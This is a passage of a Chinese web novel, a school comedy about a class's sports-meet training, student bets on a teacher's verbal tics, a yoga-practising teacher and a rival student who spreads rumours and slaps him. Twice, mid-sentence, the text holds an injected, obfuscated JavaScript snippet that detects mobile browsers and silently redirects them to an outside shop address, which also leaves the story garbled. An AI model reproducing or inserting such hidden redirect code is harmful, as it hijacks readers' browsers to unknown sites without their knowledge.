“不会。”鲁平认真地说,“动起来脑子更清醒。而且你们不是没睡吗?” 我无言以对。 他拎起瑜伽垫和保温杯,走到门口,回头补充:“对了,下节课我可能要练呼吸法,你们不用管我,认真听课就行。” 说完走了。 洐沁走过来,眼神发亮:“宝藏老师。我决定给他开个新专辑:《政治课上的瑜伽大师》。” “你高兴就好。” “当然高兴。”洐沁说,“高中生活,就需要这种意外惊喜。” --- 周五放学,五班开始了第一次集体训练。 洐沁制定了详细的计划表,精确到每个人的训练项目和休息时间。她还不知从哪弄来了几个秒表、口哨,甚至还有一箱运动饮料。 “饮料我赞助的。”她说,“赢了火锅,输了就当投资失败。” 训练很顺利,除了一个小插曲—— 三班的几个人路过操场,梦萱也在其中。她看到我们在训练,故意大声说: “练得再狠有什么用?一群书呆子还想拿金牌?” 五班有人想回嘴,被洐沁制止。 “继续训练。”她说,“狗叫不用理。” 梦萱见我们没反应,气得走过来,直接对正在练跳远的王鑫说:“你这种姿势,能跳两米算我输。” 王鑫脸一沉。 我走过去,平静地说:“梦萱同学,根据运动力学,起跳角度在40-45度时最优。王鑫现在调整的就是这个角度。你要是有更好建议,可以具体说说,比如水平初速度怎么算?空气阻力系数取多少?” 梦萱:“……” “说不出来?”我抿了抿唇,继续说到,“那就别瞎指导。顺便提醒你,你改短的校服裙会影响跑步时的空气动力学,建议换回原版。” 梦萱的脸一阵红一阵白,最后丢下一句“你们等着”,带着人走了。 五班同学哄笑。 “程姐,牛逼啊!”王鑫竖起大拇指。 “基本操作。”我淡定地喝了口水,“对付颠婆,要用她听不懂的语言。” 训练继续。 夕阳西下,操场上洒满金光。同学们奔跑、跳跃、喊口号,汗水在阳光下闪闪发亮。 我忽然觉得,这样好像也不错。 有目标,有伙伴,有——虽然抽象但挺可爱的老师和同学。 还有一个月就是运动会。 火锅,我们来了。 --- 晚上,我收到洐沁发来的文件: 《关于鲁平老师课堂瑜伽的初步研究报告》 里面详细分析了鲁平做瑜伽的动机、动作标准度、以及对课堂效果的影响。结论是:「虽然怪异,但有效提升了课堂注意力集中度,建议推广。」 我回复:「你认真的?」 洐沁:「半认真。另外,梦萱那边有新动作。」 她发来一张截图,是校园墙的匿名帖: 「爆料:五班班长承诺拿第一就请全班吃海鲜自助,拉票嫌疑严重!这种不正当竞争该不该管?」 底下已经有人跟帖: 「真的假的?班长这么有钱?」 「海鲜自助?慕了」 「但拿班费请客不好吧?」 洐沁打字:「她开始玩阴的了。不过放心,我有对策。」 「什么对策?你拿我涮锅呢铁子?」 「咳咳咳……明天你就知道了。」 我放下手机,看着窗外夜色。 高中生活,果然永远不会无聊。 颠婆在努力,老师在瑜伽,同桌在搞学术研究。 而我,只想安静地当个班长,顺便吃顿火锅。 怎么就这么难呢? 7. 第 7 章(微改) 张聪明老师的“啊字计数”运动,在高二五班已经发展成了一项全民娱乐活动。 这项运动的起源已不可考,但据洐沁的《五班人类学观察报告》记载,最早是有同学无聊,在数学课上偷偷画“正”字计“啊”,结果一节课下来画了四个正字加三笔——23个“啊”。 后来有人开盘下注。 再后来,发展出了完整的规则体系: 【五班“啊字计数”赌盘规则v2.1】 1. 赌注:不得超过五元,以零食结算(避免涉赌嫌疑)。 2. 下注时间:上课铃响前五分钟。 3. 计数范围:仅限张聪明老师口头表达的“啊”,拖长音算一个,感叹语气算一个,迟疑语气(如“这个啊~”)也算一个。 4. 特殊情况:如老师感冒导致“啊”数激增,当期赌盘作废。 5. 庄家:轮流担任,本周庄家是体育委员王鑫。 周一早晨数学课,赌盘正式开盘。 王鑫在本子上画了个表格: 下注区间 赔率 当前下注人 15-20啊 1:3 赵倩(2包辣条) 21-25啊 1:2 刘浩(1瓶可乐) 26-30啊 1:1.5 程穗(3包瓜子) 31-35啊 1:1 洐沁(5颗糖) 36+啊 1:5 李伟(赌神,押10元) “班长你也下注?”有人惊讶。 “观察需要。”我面不改色地交出瓜子。其实是洐沁怂恿的:“不下注怎么融入集体?” 上课铃响,张聪明准时踏入教室。 他今天穿了件嫩黄色POLO衫,肚子把衣服撑出一道完美的弧线,像怀孕六个月的企鹅。 “同学们好啊~”开场就是一个标准拖长音“啊”。 王鑫在表格旁画了第一笔。 “上周的测验成绩啊~已经出来了啊~”张聪明从公文包里掏出一沓试卷,“总体而言啊~咱们班考得不错啊~当然也有个别同学啊~需要努力啊~” 三句话,六个“啊”。 底下开始有压抑的笑声。 张聪明浑然不觉,开始发试卷:“李伟啊~86分~不错啊~王鑫啊~79分~要加油啊~赵倩啊~92分~很好啊~” 每叫一个名字,必带“啊”。 计数飞快攀升。 洐沁在笔记本上画了一个张聪明的Q版形象,头顶不断冒出“啊”字气泡,像游戏里的对话气泡攻击。 “这道大题啊~全班只有三个人做对了啊~”张聪明拿起粉笔,“我来讲解一下啊~首先啊~我们要设未知数x啊~然后啊~列方程啊~” 他的“啊”开始密集爆发。 王鑫的手速跟不上,紧急呼叫援助:“刘浩!帮我记!” 刘浩掏出手机打开录音——这是允许的,因为计数需要证据。 “所以啊~解得x等于3啊~然后代入啊~求出y啊~最后啊~别忘了写答啊~” 一道题讲完,“啊”数增加了13个。 计数突破25,进入26-30区间。 押这个区间的我,心跳开始加速。 张聪明擦了擦汗——可能是粉笔灰,也可能是“啊”得太用力——继续说:“下面啊~我们看下一题啊~这道题啊~错误率很高啊~” 他的“啊”开始出现变体:有上扬的“啊↗”,有下沉的“啊↘”,有拐弯的“啊~↗↘”。 洐沁低声分析:“他在无意识中开发出了‘啊’的语调系统,这是语言学的重大发现。” “你能不能认真听课?”我小声说。 “这也是听课。”洐沁理直气壮,“我在研究教师的语言习惯对课堂效果的影响。” 计数突破30。 押31-35区间的洐沁眼睛亮了。 但就在这时,张聪明的手机响了。 “不好意思啊~我接个电话啊~”他走出教室。 全班立刻沸腾: “现在多少了?” “32个!” “还有十分钟下课,还能冲!” “我赌他能破40!” “加注!我加一包薯片!” 洐沁突然举手:“庄家,我申请临时加注规则:如果老师接电话时说‘啊’,算不算?” 王鑫愣住:“这……没先例啊。” “快决定!他要回来了!” “算!”王鑫拍板。 张聪明推门进来,脸上带着尴尬的笑:“不好意思啊~年级主任的电话啊~说运动会的事啊~” “第33、34、35个!”刘浩报数。 洐沁的区间已达目标,但她眼睛盯着36+的高赔率区间。 距离下课还有八分钟。 “我们继续啊~”张聪明翻试卷,“这道几何题啊~需要做辅助线啊~在这里啊~连一下啊~” “40!破36了!”有人小声欢呼。 押36+的李伟握紧拳头。 张聪明似乎察觉到课堂气氛异常,停下笔:“你们今天啊~怎么这么兴奋啊~” “第42个!” “是不是有什么好事啊~” “43!” “说出来让老师也高兴高兴啊~” “44!” 最后三分钟,张聪明的“啊”进入狂暴状态,几乎每句话都带,有的句子甚至带两三个: “所以啊~这个辅助线啊~是关键啊~” “45!46!47!” 下课铃响。 张聪明意犹未尽:“好了啊~今天就讲到这里啊~作业是练习册第50页啊~” “48!49!50!最终计数:50个‘啊’!” 全班寂静,然后爆发出压抑的欢呼。 李伟跳起来:“我赢了!1赔5!庄家给钱!” 王鑫脸色惨白:“10元赔50……我零花钱没了……” 张聪明一脸困惑:“你们在庆祝什么啊~” 全班齐声:“庆祝老师讲课精彩啊~” “是吗~”张聪明受宠若惊,“那老师以后更努力啊~” “52!”有人忍不住又计了两个。 那节数学课,成了五班赌盘史上的传奇。后来有人把录音上传到年级群,标题是《啊的史诗:一节课50个“啊”全记录》,张聪明因此得了新外号:“啊神”。 但他本人一直不知道。 --- 下午训练时,梦萱的挖墙脚行动开始了。 她没亲自出面,派了个跟班——一个扎双马尾、看起来很甜但眼神很精的女生,叫小鱼。 小鱼找到我们班短跑主力周浩,递给他一瓶功能饮料:“梦萱姐让我给你的。” 周浩愣住:“干嘛?” “梦萱姐说,你这种人才在五班浪费了。”小鱼声音甜腻,“三班有专业的体育生指导,训练更科学。你要是来三班,梦萱姐保证你拿百米金牌。” 周浩皱眉:“我不转班。” “不用转班,就来训练。”小鱼说,“梦萱姐认识体校教练,可以给你特训。五班这些人……”她瞥了眼正在练接力的我们,“一群书呆子,能教你什么?” 周浩沉默了。 这一切被洐沁看在眼里。她走过来,直接问周浩:“她给你开什么条件?” 周浩有点尴尬:“就……说能找教练……” “哦。”洐沁转向小鱼,“同学,你们梦萱姐这么厉害,怎么不先把自己班的跳远短板补上?我记得三班跳远最好成绩才4米2,而我们班王鑫能跳5米1。” 小鱼脸色一变。 “还有,”我也走了过来,说道,“你说我们班是书呆子,那我们来比点书呆子擅长的。你知道短跑起跑时,起跑器角度多少最优吗?你知道博尔特百米步频多少吗?你知道空气湿度对短跑成绩的影响系数吗?” 小鱼:“……” “一问三不知,就敢来挖人?”我真的笑了,“回去告诉梦萱,想挖墙脚,先让自己配得上。至少,先把《运动生理学》第一章看完。” 小鱼灰溜溜走了。 周浩不好意思地说:“我没想去……” “知道。”洐沁拍拍他肩膀,“但下次有人挖你,你就问她这些问题。答不上来的,都是骗子。” 王鑫凑过来:“班长,你刚说的那些……你自己懂吗?” “不懂。”我坦然了,“但我查过资料,背下来了。对付外行,够用了。” 全班佩服得五体投地。 训练继续,但梦萱显然没放弃。 十分钟后,校园墙出现了新帖子: 「爆料:五班体育生周浩训练时晕倒,疑似班级训练强度过大!这样的班级值得待吗?」 配图是周浩训练后坐在地上喝水的照片,角度抓拍得像晕倒。 五班同学怒了: “这是诽谤!” “周浩明明好好的!” “梦萱太贱了!” 洐沁却很平静:“意料之中。现在,该我们反击了。” 她拿出手机,开始打字。 五分钟后,校园墙出现新帖: 「学术讨论:论诽谤行为的心理动机及法律后果——以某班同学为例」 帖子用严谨的学术语气,分析了诽谤行为的定义、构成要件、心理动机(寻求关注、转移矛盾、发泄情绪),最后附上了《治安管理处罚法》相关条款。 没有点名,但所有人都知道在说谁。 底下跟帖: 「楼主是律师吗?」 「这分析,绝了」 「某班同学对号入座了」 梦萱那边没再发帖。 洐沁推推不存在的眼镜:“对付颠婆,要用她看不懂的方式。她擅长胡搅蛮缠,我就跟她讲道理;她擅长造谣,我就跟她讲法律。她进我退,她退我进,让她永远打不到痛点。” “你从哪学的这些?”我问。 “我爸的心理学案例。”洐沁说,“他说,有些人就像小孩子哭闹,你越哄她越来劲。你不理她,或者用成年人的方式回应,她就没招了。” “但你这也是在陪她闹啊。” “不一样。”洐沁笑了,“她是真闹,我是假陪。她是情绪输出,我是学术研究。她浪费的是生命,我积累的是论文素材。” 我服了。 这人已经把高中生活过成了田野调查。 --- 周四政治课,鲁平的瑜伽课堂升级了。 他走进教室时,手里除了瑜伽垫和保温杯,还多了个——蓝牙音箱? 全班屏息凝神。 鲁平把音箱放在讲台上,连接手机,然后说:“同学们,今天我们讲《唯物辩证法》。在开始之前,我们先做三分钟冥想,帮助集中注意力。” 他按下播放键。 音箱里传出声音:“现在,请闭上眼睛……深呼吸……吸气……呼气……” 是冥想引导音乐!还有女声引导! 全班懵了。 鲁平自己已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064641|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经盘腿坐在瑜伽垫上,闭上眼睛,跟着引导词呼吸:“吸气……感受空气进入鼻腔……呼气……释放压力……” 有同学憋不住笑出声。 鲁平眼睛睁开一条缝:“安静,跟着做。” 大家只好照做。 于是,政治课上出现了奇幻一幕:全班45人,加上一个秃顶老师,集体闭眼冥想,音箱里女声温柔地说:“想象你是一片云……飘浮在天空……” 洐沁偷偷睁开一只眼,在本子上画速写:鲁平头顶冒出“Zzz”符号,周围飘着云朵。 三分钟后,引导结束。 鲁平睁开眼睛,神清气爽:“好,现在我们开始上课。唯物辩证法有三大规律:对立统一规律、质量互变规律、否定之否定规律……” 神奇的是,经过冥想,大家真的没那么困了。 至少前二十分钟,趴桌率不到30%。 鲁平讲到一半,又开始拉伸——这次是扭脖子,左右各三圈,颈椎发出“咔咔”声。 “就像矛盾双方啊,”他一边扭脖子一边说,“既对立又统一……” 洐沁低声说:“他已经把瑜伽和哲学深度融合了。这是行为哲学,还是哲学行为艺术?” “有区别吗?” “前者是理论指导实践,后者是实践创造理论。”洐沁认真地说,“我倾向于后者,因为他明显是瞎练的,动作都不标准。” 下课时,鲁平说:“下次课我们尝试呼吸法配合矛盾分析法。” 全班:“……” 等人走后,王鑫说:“你们发现没,鲁老师最近……活泼了?” “可能找到人生新方向了。”洐沁合上笔记本,“从佛系教师转型为哲学瑜伽大师,这是中年教师的第二春。” “是好是坏?” “对课堂效果是好的。”洐沁分析,“至少大家不睡了。对鲁老师本人也是好的,他找到了教学乐趣。唯一的问题是……” “什么?” “万一他下学期开选修课《哲学瑜伽入门》,我们是不是得捧场?” 全班倒吸凉气。 --- 周五,梦萱使出了终极杀招。 她不知从哪弄来一份“体检报告”,贴在校园墙上: 「震惊!五班训练强度超出青少年承受极限,多名学生出现心率不齐、肌肉拉伤症状(附体检报告截图)」 截图是模糊的,但能看到心电图和几个数据。 五班炸了。 “这报告哪来的?” “伪造的吧!” “太下作了!” 连好脾气的周浩都怒了:“我特么根本没体检过!” 洐沁却很冷静:“这招厉害了。伪造医学报告,触及红线了。” “怎么办?找老师?” “不。”洐沁说,“这次,我们以其人之道还治其人之身。” 她召集了几个同学,低声布置任务。 半小时后,校园墙出现了系列新帖: 帖1:「科普:如何识别伪造的体检报告——从字体、印章到数据格式」 帖2:「法律讲堂:伪造医学证明涉嫌犯罪,量刑标准一览」 帖3:「心理学分析:为何有人不惜违法也要诋毁他人?深度解析嫉妒型人格障碍」 帖4:「体育老师友情提示:我校训练强度经专业审核,完全符合国家标准」 每个帖子都附上权威资料截图,条理清晰,证据充分。 更重要的是,这些帖子是不同账号发的,看起来像“路人”自发反击。 梦萱的帖子被压了下去,底下全是质疑: 「楼主敢不敢发原图?」 「这心电图是网图吧?」 「已举报,造谣可耻。」 梦萱删帖了。 五班赢了这一局。 训练结束时,洐沁对大家说:“看到没?对付谣言,最好的办法是用更多、更专业的真相淹没它。她造一个谣,我们发十篇科普。她越疯狂,我们越理性。到最后,大家会相信谁?” 全班鼓掌。 王鑫问:“洐沁,你这些知识都从哪来的?” “平时积累。”洐沁淡定地嗑瓜子,“我爸说,人生就像打牌,你永远不知道下一张是什么。所以要多攒牌,等需要时,随便打一张都是王炸。” “你爸是哲学家?” “不,他是打麻将的。”洐沁说,“但道理通用。” 大家笑了。 夕阳西下,训练场洒满金光。同学们虽然累,但眼神明亮。 运动会还有两周。 火锅,越来越近了。 而颠婆,似乎黔驴技穷了。 但我们都清楚,以梦萱的性格,绝不会善罢甘休。 下一招会是什么? 不知道。 但没关系。 我们有瓜子,有瑜伽老师,有“啊神”班主任,有会打心理战的同桌。 还有,越来越团结的五班。 --- 晚上,洐沁发来消息: 「最新情报:梦萱在打听鲁平老师的课表。」 「她想干嘛?」 「不知道。但根据行为模式分析,她可能想对瑜伽课堂下手。」 「政治课能怎么下手?」 「所以才需要观察。下周政治课,保持警惕。」 我放下手机,看向窗外。 高中生活,果然每天都有新惊喜。 颠婆要挑战瑜伽大师? 这剧情,越来越抽象了。 8. 第 8 章 周二上午,政治课前五分钟。 洐沁像特工一样压低声音对我说:“据线报,梦萱今天请了‘病假’,但有人看到她七点半就进了学校,现在在三班教室——装病。” “她想干什么?” “不确定。”洐沁推了推不存在的眼镜,“但鲁平老师今天第一节课在五班,第二节课在三班。按照她的性格,如果要搞事,会在两个班的交界点——也就是走廊——下手。” “为什么是走廊?” “公共空间,目击者多,传播效应强。”洐沁分析,“而且走廊没有监控死角,方便她表演。” 上课铃响,鲁平准时走进五班。 他今天没带瑜伽垫,也没带蓝牙音箱,只拿着保温杯和课本,表情略显疲惫。 “同学们好。”破锣嗓子有气无力,“今天讲《社会存在与社会意识》……” 课堂进行到一半时,外面走廊传来骚动。 是梦萱的声音,尖利刺耳:“你他妈眼瞎啊?!撞到人了不会道歉?!” 接着是一个男生的声音:“明明是你自己撞上来的……” “还嘴硬?!” 鲁平讲课的声音停了。他皱了皱眉,走到教室后门,拉开门缝往外看。 我们也跟着看去。 走廊上,梦萱正堵着一个矮个子男生——是三班的,戴眼镜,手里抱着一摞作业本。地上散落着几本书。 “捡起来!”梦萱指着地面。 男生蹲下捡书。 梦萱却用脚尖踩住其中一本:“道歉。” “对不起……”男生小声说。 “没听见!大声点!” “对、对不起!” 梦萱这才挪开脚,但男生捡起书时,她“不小心”又踢了一脚,书飞出去砸在墙上。 全班都看到了。 鲁平的脸沉了下来。 他拉开门走出去:“这位同学,你在干什么?” 梦萱转身,看到鲁平,不但不怕,反而笑了:“哟,鲁老师啊。我在教同学懂礼貌。” “你刚才的行为很不礼貌。”鲁平严肃地说。 “我不礼貌?”梦萱夸张地瞪大眼睛,“他撞了我,我还得跟他客气?鲁老师,您这偏袒得有点明显啊。” “我看到是你撞的他。” “您看错了。”梦萱抱起手臂,“年纪大了,眼睛不好使,理解。” 鲁平的脸开始涨红。 那男生抱着书想溜,梦萱喝住:“让你走了吗?” 男生僵住。 “道歉。”鲁平对梦萱说,“向这位同学道歉。” “凭什么?” “凭我是老师。” “老师了不起啊?”梦萱嗤笑,“秃顶老师也是老师?” 走廊瞬间安静。 几个从旁边教室探头的学生迅速缩了回去。 鲁平整个人僵住了。他的秃顶在走廊灯光下泛着红光——不是反光,是血管充血的颜色。 “你……说什么?”他声音发颤。 “我说,”梦萱一字一顿,“秃、顶、老、师。” 她往前一步,几乎贴到鲁平面前:“怎么,说到痛处了?天天拿你那反光脑门照我们,自己心里没点数?我要是秃成你这样,早就戴假发了,还好意思出来教书?” 恶毒。太恶毒了。 连洐沁都放下了笔,低声说:“这已经超出校园霸凌,进入人身攻击范畴了。” 鲁平的手在抖。 他指着梦萱,嘴唇哆嗦:“你……你……” “我什么我?”梦萱冷笑,“结巴了?也是,脑供血不足,说话不利索正常。我建议您啊,早点退休,别在这儿碍眼。” “啪!” 一记清脆的耳光。 不是鲁平打的——他不可能打学生。 是梦萱。 她竟然扇了鲁平一巴掌! 虽然力度不大,声音却清脆响亮,在空旷的走廊里回荡。 时间凝固了。 所有人都惊呆了。 那个被欺负的男生吓得书又掉在地上。 鲁平捂着脸,眼镜歪到一边,露出那双小而震惊的眼睛。 梦萱也愣了一下,似乎没想到自己真打了——但很快,她恢复跋扈:“看什么看?你自找的!” 说完,她转身想走。 “站住。”鲁平的声音。 很奇怪。没有愤怒,没有委屈,而是一种……诡异的平静。 梦萱回头:“怎么,还想再挨一下?” 鲁平慢慢放下手。他脸上有个浅浅的红印,但表情很奇怪——不是生气,不是难过,而是一种…… 迷茫? 他推正眼镜,看着梦萱,看了很久。 然后,他说话了,声音比平时更沙哑: “这一巴掌……很有意思。” 全场:“???” 梦萱也愣了:“你有病吧?” “确实。”鲁平点头,“我可能真的有病。” 他开始自言自语:“教了二十年书,被学生骂过,被气哭过,但从没被打过。这一巴掌……很有力道,角度也很精准,打在了颧骨下方,不会造成实质性伤害,但声音响亮。你研究过?” 梦萱:“……” “而且,”鲁平继续,“你打完后没有逃跑,没有害怕,反而继续挑衅。这说明你不是冲动,是计算好的。你想激怒我,让我失控,这样你就成了受害者——‘老师打学生’,比‘学生打老师’严重得多。” 走廊一片死寂。 洐沁在我耳边小声说:“他……他居然在分析?” “你脑子被打坏了吧?”梦萱后退半步,第一次露出不确定的表情。 “可能吧。”鲁平摸了摸脸,“但这一巴掌……让我想起了一些事。” 他眼神飘远:“我小时候,我父亲也这样打过我。每次我犯错,他就一巴掌扇过来。后来他去世了,再也没有人打过我。二十年来,我第一次……” 他停顿,看着梦萱,眼神复杂:“谢谢你。” 梦萱:“???” 五班全体:“???????” 那个被欺负的男生捡起书,悄悄溜了。 “你……你神经病啊!”梦萱终于反应过来,破口大骂,“谁要你谢!滚开!” 她推开鲁平,冲下楼梯。 鲁平站在原地,看着她消失的方向,手又摸了摸脸。 然后他转身,回到五班教室。 全班同学齐刷刷坐正,假装刚才什么都没看到。 鲁平走上讲台,沉默了一会儿,说:“我们继续上课。社会存在决定社会意识,社会意识反作用于社会存在……” 他讲课的声音比平时更平静,甚至有一丝……愉悦? 洐沁在本子上疯狂记录: 「重大发现!鲁平老师疑似觉醒M属性!」 「对暴力行为产生反常积极反应!」 「童年创伤与当下行为的关联性分析!」 「建议观察后续发展!」 下课铃响,鲁平收拾东西时,突然说:“对了,下节课我要在三班上课。” 他顿了顿,补充:“有点期待。” 说完走了。 全班炸了。 “刚才发生了什么?” “鲁老师被扇耳光,还说谢谢?” “他是不是受刺激太大了?” “梦萱也太狠了吧!打老师啊!” 洐沁举起手,全班安静。 “同学们,听我说。”她表情严肃,“刚才发生的事,很严重,但也……很珍贵。” “珍贵?” “对。”洐沁点头,“你们见证了一个人类行为学上的罕见案例:成年人在受到羞辱性攻击后,非但没有产生敌意,反而激活了潜在的受虐倾向。这是教科书级别的观察素材。” “你是说……鲁老师是受虐狂?” “目前只能说‘疑似’。”洐沁严谨地说,“需要更多观察。但无论如何,这件事不能外传。” “为什么?” “为了保护鲁老师。”洐沁说,“也为了……保护我们的观察对象。如果事情闹大,鲁老师可能会被调查,梦萱可能受处分,我们的田野调查就中断了。” 王鑫举手:“那我们怎么办?” “三点。”洐沁竖起手指,“第一,保密。第二,继续观察。第三——最重要的是,不要让梦萱知道她的行为产生了反效果。否则她可能会变本加厉,那对鲁老师真的不好。” 全班点头。 但我知道,这事瞒不住。 走廊上不止我们班的人。 --- 果然,中午校园墙就炸了。 帖子标题:「惊天爆料!三班某女生掌掴政治老师!老师反应成谜!」 内容写得绘声绘色,但没点名。底下评论已经刷了几百条: 「真的假的?打老师?」 「哪个女生这么猛?」 「政治老师……是那个秃顶的吗?」 「听说老师被打后还笑了?」 「这什么剧情……」 洐沁立刻行动。 她在帖子下回复:「楼主造谣要有证据。我就在现场,是老师自己不小心撞到学生手上了,不是打耳光。」 有人跟帖:「我也在,就是误会。」 「对啊,老师还跟学生道歉了呢。」 「现在的谣言太离谱了。」 五班同学集体出动,在评论区刷屏“辟谣”。 效果显著,舆论开始转向“误会论”。 洐沁私聊我:“看到没?集体作战的力量。” “但梦萱会罢休吗?” “不会。”洐沁说,“她肯定气死了——自己制造的爆点被我们压下去了。我预测她会有下一步行动。” “针对鲁老师?” “可能。”洐沁沉思,“也可能针对我们班,毕竟我们‘坏了她好事’。” 下午第二节课,鲁平去三班上课。 洐沁派了“侦查员”——王鑫假装去三班借书,在门口蹲点。 下课回来,王鑫脸色古怪。 “怎么样?”洐沁问。 “很……平静。”王鑫说,“鲁老师正常讲课,梦萱趴着睡觉,两人零交流。” “没有冲突?” “没有。而且……”王鑫压低声音,“鲁老师讲课的时候,看了梦萱好几眼,眼神……我说不上来,反正不像是恨。” 洐沁眼睛亮了:“持续观察。” --- 放学后训练,梦萱果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064642|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然来了。 她没靠近,就站在操场边看,眼神阴冷。 周浩有点紧张:“她不会来捣乱吧?” “别管她。”洐沁说,“我们练我们的。” 训练到一半,梦萱突然走过来,直接对周浩说:“你,过来一下。” 周浩看向我。 我摇头。 “有事就在这儿说。”周浩说。 梦萱冷笑:“关于鲁老师的事,你确定要在这儿说?” 周浩犹豫了。 “别去。”洐沁拦住,“她想单独谈话,肯定有阴谋。” “但我……” “我去。”我开口说,“我是班长,有资格代表班级谈判。” 我走向梦萱。 我们在操场边说了五分钟。 我回来时,表情平静。 “她说什么?”洐沁问。 “两件事。”我说,“第一,她让我们别多管闲事,否则有我们好看。第二,她说鲁平是个变态,让我们小心点。” “变态?” “她说鲁平下课把她叫到办公室,问她……‘手疼不疼’。” 全班倒吸凉气。 “然后呢?” “她说她骂了句‘神经病’就走了。”我有些无语,“但根据她的描述,鲁平当时的语气不是嘲讽,是真心关心。” “这……”王鑫挠头,“鲁老师真被打出毛病了?” “不一定。”我说,“可能是一种防御机制——将伤害重新定义为‘关怀’,从而消解痛苦。这是心理学上的常见策略。” “那我们怎么办?” “正常对待。”洐沁说,“该训练训练,该上课上课。至于鲁老师和梦萱的事……我们只观察,不干预。” 她顿了顿,补充:“除非事态失控。” --- 晚上,洐沁发来一份新文件:《关于鲁平老师异常行为的初步分析报告》。 里面详细列出了几种可能: 1. 创伤激活论:童年暴力经历被唤醒,产生斯德哥尔摩综合征式依恋。 2. 职业倦怠论:长期教学压力导致认知失调,将异常事件合理化。 3. 人格特质论:本身具有受虐倾向,一直被压抑,此次事件成为释放契机。 4. 表演论:故意表现出异常,以逃避“被学生打”的耻辱(可能性较低)。 报告结论:需进一步观察,建议记录每次鲁平与梦萱的互动。 我看完,回复:「你写这个干嘛?」 洐沁:「积累论文素材。我爸说,好的研究始于好的观察。」 「你爸知道你用他的心理学知识分析老师吗?」 「知道。他说‘注意伦理边界’。」洐沁回复,「所以我匿名,而且不传播。」 我放下手机,脑子里回放白天那一幕。 鲁平捂着脸说“谢谢你”的样子。 梦萱错愕的表情。 还有走廊里那种荒诞又诡异的氛围。 高中生活,果然每天都在刷新我的认知下限。 --- 第二天政治课,鲁平恢复了瑜伽。 但他今天多带了一样东西:一个坐垫。 “同学们,”他说,“今天我们先冥想五分钟,然后做简单的颈部拉伸。” 他放音乐,引导冥想。 这次,没人笑。 大家安静地跟着做,甚至有点……肃穆? 课后,鲁平叫住我:“程穗同学。” “老师?” “昨天走廊的事……”他顿了顿,“不要告诉其他老师。” “我不会说的。” “谢谢。”他点头,“另外……三班的梦萱同学,她是不是经常……那样?” 我斟酌措辞:“她性格比较直接。” “直接。”鲁平重复这个词,若有所思,“挺好的。现在很多学生太虚伪,不敢说真话。她至少真实。” 我:“……” “好了,你去吧。”鲁平摆摆手。 我走出教室,洐沁在门口等我。 “他跟你说了什么?” 我复述了一遍。 洐沁在本子上记下:「评价转变:从‘不礼貌’到‘真实’。情感倾向:积极。」 “完了。”她合上本子,“病情加重了。” “要告诉李老师吗?” “暂时不用。”洐沁说,“我们先观察。如果只是精神层面异常,没有实质行为,就不算危险。” “那运动会……” “照常。”洐沁眼睛一亮,“对了,我昨晚想到了开幕式的‘抽象震撼’方案。” “是什么?” 她凑到我耳边,小声说了几句。 我听完,沉默了三秒。 “你确定要这么干?” “确定。”洐沁微笑,“绝对会让全校记住五班,也会让梦萱气到吐血。” “但张老师会同意吗?” “他会说‘啊~你们自己决定啊~’。”洐沁模仿着张聪明的语气,“所以我们自己决定。” 我看着她兴奋的表情,突然觉得,这个班级,这些人…… 真的,一个正常的都没有。 包括我自己。 因为我居然有点期待。 9. 第 9 章 走廊巴掌事件后,五班出现了一个新赌盘: 《鲁平老师M属性觉醒进度盘》 赌注分类: 1. 进度10%:开始主动找梦萱说话(赔率1:2) 2. 进度30%:给梦萱送东西(赔率1:3) 3. 进度50%:公开维护梦萱(赔率1:5) 4. 进度70%:为梦萱与其他老师冲突(赔率1:10) 5. 进度100%:表白(赔率1:100,庄家王鑫说这个他赔不起,纯娱乐) 开赌第一天,进度条就猛冲到20%——鲁平在政治课上“无意”提到:“有些同学虽然行为激烈,但内心可能是渴望被关注的。” 全班都知道在说谁。 洐沁在本子上记录:「初步判断,他已进入‘合理化对方行为’阶段,这是M属性觉醒的重要标志。」 而事件的另一主角梦萱,反应却很奇怪。 她没有像往常一样大肆宣扬“我把老师打服了”,反而安静了几天。 据三班“线人”报告,梦萱这几天上课不睡觉了,也不骂人了,就趴在桌上发呆,偶尔会摸摸自己的右手——扇巴掌的那只。 “她在回味。”洐沁分析,“暴力行为后的空虚感,加上对方反常的积极反馈,让她产生了认知失调。简单说,她懵了。” “懵了好。”我说,“至少消停几天。” 好吧,我还是太天真了。 --- 周四下午,数学课刚下课,张聪明前脚走出教室,后脚就发生了戏剧性一幕。 鲁平拿着一杯奶茶,站在五班门口,探头问:“梦萱同学在吗?” 全班齐刷刷转头看向门口——梦萱当然不在,她在三班。 “她……在三班。”我说。 “哦。”鲁平点头,“那你能帮我……把这个给她吗?” 他递过来一杯奶茶,包装精致,杯壁上还贴着便签。 我接过,看到便签上写着:「手还疼吗?——鲁」 字迹工整,甚至有点……小心翼翼。 “老师,您确定要给她?”我忍不住问。 “确定。”鲁平表情认真,“昨天我看到她手腕有点红,可能是……嗯,那天用力过猛。喝点热的,对身体好。” 我:“……”那是打你打红的啊老师! 但我没说,只是点头:“好的。” 鲁平走了。全班立刻围上来。 “我看看!” “真的是奶茶!” “便签写了什么?” “卧槽,这什么展开……” 洐沁挤进来,拍照记录:“里程碑事件:第一次物质馈赠。进度条冲到30%。” “真要送过去?”王鑫问。 “送。”洐沁说,“而且要当着三班同学的面送,增加事件传播性。王鑫,你去送,就说‘鲁老师让你多喝热水’。” “为什么是我?” “你脸皮厚。”洐沁推他,“快去。” 